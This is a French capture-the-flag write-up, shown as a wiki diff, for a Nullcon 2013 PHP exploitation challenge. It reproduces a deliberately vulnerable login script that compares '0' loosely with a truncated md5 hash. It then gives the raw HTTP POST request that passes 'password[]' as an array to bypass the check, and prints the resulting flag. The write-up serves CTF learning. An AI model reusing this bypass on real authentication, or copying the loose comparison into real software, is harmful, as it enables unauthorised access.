Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
nullcon_battleunderground_2013_exploitation_3 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Exploitation: Question 3 ====== | ||
+ | <code>Lets do some PHP</code> | ||
+ | |||
+ | [[http://nullcon-e1.no-ip.org/exp3/boo.php]] | ||
+ | |||
+ | À la fin de la page de présentation, un commentaire c'est glissé avec un lien vers la source de cette page. | ||
+ | [[http://nullcon-e1.no-ip.org/exp3/boo.html]] | ||
+ | <code PHP><? | ||
+ | error_reporting(0); | ||
+ | |||
+ | |||
+ | $pass = $_POST['password']; | ||
+ | $key = "key_goes_here"; | ||
+ | |||
+ | if("0" == substr(md5($pass),0,10)) { | ||
+ | echo "Key: $key"; | ||
+ | exit(0); | ||
+ | } | ||
+ | ?> | ||
+ | |||
+ | <html> | ||
+ | <body> | ||
+ | <form method='post'> | ||
+ | Password: <input type="password" name="password"></input> <br/> | ||
+ | <input type="submit" value="Submit"></input> | ||
+ | </form> | ||
+ | </body> | ||
+ | </html></code> | ||
+ | |||
+ | La solution est simple, tourner la variable $pass en un tableau. | ||
+ | <code>POST /exp3/boo.php HTTP/1.1 | ||
+ | Host: nullcon-e1.no-ip.org | ||
+ | Connection: close | ||
+ | Content-Length: 19 | ||
+ | |||
+ | password%5B%5D=TAPZ</code> | ||
+ | <code>Flag: 58961e6ab08f06d61c097c482806d288</code> |